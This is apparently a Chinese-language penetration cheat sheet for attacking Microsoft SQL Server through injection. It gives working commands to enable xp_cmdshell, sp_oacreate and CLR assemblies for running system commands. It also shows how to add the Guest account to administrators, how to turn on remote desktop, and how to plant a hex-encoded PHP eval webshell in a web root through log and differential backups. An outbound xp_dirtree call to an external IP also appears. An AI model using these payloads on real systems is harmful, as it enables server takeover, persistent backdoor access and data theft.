sqlserver命令注入和getshell
sqlserver命令注入和getshell
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- 1. mssql权限
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- 判断当前数据库权限
- 2. mssql 默认数据库
- 3. 数据库常用语句
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- 查询当前数据库中所有表的大小
- 4. SA权限开启xp_cmdshell 获取主机权限
- 5. SA权限使用sp_oacreate 执行系统命令
- 6. SA权限使用CLR 执行系统命令
- 6. DB_owner权限 LOG备份Getshell
- 7. DB_owner权限 差异备份Getshell
- 补充CLR导入程序集
1. mssql权限
- sa权限：数据库操作，文件管理，命令执行，注册表读取等system。是mssql的最高权限
- db权限：文件管理，数据库操作等 users-administrators
- public权限：数据库操作 guest-users
判断当前数据库权限
判断是否是sa权限
select is_sivrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
2. mssql 默认数据库
- master数据库：控制sql server的所有方面。数据库中有配置信息，用户登录信息，当前正在服务器中运行的信息
- model数据库：model数据库是建立所有用户数据库时的模板
- msdb数据库：是sql server的特例。其实是一个用户数据库，不同之处在于sql server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该数据库可以用来存储所有备份历史
- tempdb数据库：tempdb数据库时一个非常特殊的数据库，供所有来访问你的sql server的用户使用。这个库用来保存所有的临时表、存储过程和其他sql server建立的临时用的东西。永远不要在此库中建立永久保存的表
3. 数据库常用语句
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名，如果是用navicat远程连接的话，主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者，结果为 dbo。dbo是每个数据库的默认用户，具有所有者权限，全称：datebaseOwner ，即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据，也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
EXEC master.sys.xp_dirtree '\\192.168.106.5\xx.txt',0,1;
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
#数据库的连接
server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
mssql://sa:[email protected]/XCCMS_SocialBusinessDB
count(name)是查询总数
name是查询名字
*是查询详细信息
#查询数据库
select count(name) from sysdatabases #查询数据库的个数,只有当前数据库是master的时候，才能执行该命令
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息
#查询数据表
select count(name) from sysobjects where type='U' #查询当前数据库中表的个数
select name from sysobjects where type='U' #查询当前数据库中所有表的名字
select * from sysobjects where type='U' #查询当前数据库的所有表的详细信息
select count(name) from test..sysobjects where xtype='U' #查询指定test数据库中表的个数
select name from test..sysobjects where xtype='U' #查询指定test数据库中表的名字
select * from test..sysobjects where xtype='U' #查询指定test数据库中表的详细信息
#查询列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的列的详细信息
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列的名字
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息
查询当前数据库中所有表的大小
declare @table_spaceused table #声明变量 例如：@声明变量名称 变量类型
(name nvarchar(100)
,rows int
,reserved nvarchar(100)
,data nvarchar(100)
,index_size nvarchar(100)
,unused nvarchar(100)
)
insert into @table_spaceused
(name,rows,reserved,data,index_size,unused )
exec sp_MSforeachtable
@command1='exec sp_spaceused ''?'''
select * from @table_spaceused
4. SA权限开启xp_cmdshell 获取主机权限
- 判断xp_cmdshell 是否打开
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
返回1是打开；返回0是关闭
- 如果xp_cmdshell权限没有开启，我们可以执行下面命令开启，下面四步，使xp——cmdshell开启
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
execute('reconfigure') #保存设置
execute('sp_configure') #查看配置
execute('xp_cmdshell "whoami"') #执行系统命令
或者
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
exec sp_configure;
exec xp_cmdshell 'whoami';
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
execute(‘reconfigure’) #保存设置
- 虽然用第一步判断xp_cmdshell是否打开返回为1，但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止
4. 然后通过上述的execute步骤，将xp_cmdshell开启
5. SA权限使用sp_oacreate 执行系统命令
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使用sp_oacreate的前提：sql server数据服务未降权
我们可以借助sql server中的com组件sp_oacreate来执行系统命令。
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下面的命令可以查看sp_oacreate 是否被允许
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
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开启sp_oacreate
EXEC sp_configure 'show advanced options', 1; -- 类似于exe('sp_configure' "show advanced options",1) RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
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由此可以看出，sp_oacreate 命令无回显
-- 执行添加用户命令 进行测试 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c:\windows\system32\cmd.exe /c net user hack Password@ /add' --上面sql server语言固定，最后一行是执行的系统命令
6. SA权限使用CLR 执行系统命令
创建CLR有两种方式：
- 使用DLL文件进行创建
- 使用文件16进制流进行创建
- 启用CLR功能
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;
-- 如果存在权限问题，执行下面命令
alter database [master] set TRUSTWORTHY on --后续要导入不安全的程序集，因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
--导入程序集
CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo] FROM 十六进制数据
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
—- 执行命令
EXEC [dbo].[SqlStoredProcedure1]; 例如：exec sp_cmdExec ’whoami‘
-- 删除程序集
DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];
6. DB_owner权限 LOG备份Getshell
无论是LOG备份还是差异备份，都是利用备份的过程中写入一句话木马
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sql server常见的备份策略
- 每周一次完整备份
- 每天一次差异备份
- 每小时一次事务备份
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利用前提
- 目标机器存在数据库备份文件。也就是说，如果我们利用test数据库，那么要求test数据库存在数据库备份文件，而且恢复模式得是完整模式
- 知道网站的绝对路径
- 支持堆叠注入
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注入代码
alter database 数据库名 set RECOVERY FULL; #修改数据库恢复模式为 完整模式 create table cmd (a image); #创建一张表cmd，只有一个列 a，类型为image backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init; #备份表到指定路径 insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e); #插入一句话到cmd表里，十六进制为一句话木马 backup log 数据库名 to disk='C:\phpstudy\WWW\2.php'; #把操作日志备份到指定文件 drop table cmd; #删除cmd表 -
综述
利用日志备份，类似于mysql的在日志中写入一句话木马。
修改数据库恢复模式为完整模式，然后创建一个表，备份表到指定路径
在表中插入一句话木马，将日志文件备份到我们知道的路径，最后删除创建的表
7. DB_owner权限 差异备份Getshell
差异备份可能把网站搞崩溃，不建议使用
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利用前提
- 知道网站的绝对路径
- 支持堆叠注入
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代码注入
create table [dbo].[test] ([cmd] [image]) -- 创建表dbo.test，列为cmd 类型image declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=xie backup log @a to disk = @s with init,no_truncate -- 备份表 insert into [test](cmd) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e) -- 向表test的cmd列插入一句话木马 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000 backup log @a to disk=@s with init,no_truncate -- 备份操作日志到指定文件 Drop table [test] --删除test表- 第三行的 0x3c3f70687020406576616c28245f504f53545b785d293b3f3e 是一句话木马 的16进制表示
- 第四行的0x43003A005C00700068007000730074007500640079005C005700570057005C007300680065006C006C002E00700068007000是 C:\phpstudy\WWW\shell.php 的16进制表示
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总结
利用数据差异备份。类似于上述LOG备份，只是没有了设置数据库恢复模式为完整模式
我们在表中插入一句话木马，日志中就会记录，日志中就会有一句话木马。
补充CLR导入程序集
CREATE ASSEMBLY [WarSQLKit] AUTHORIZATION [dbo] FROM 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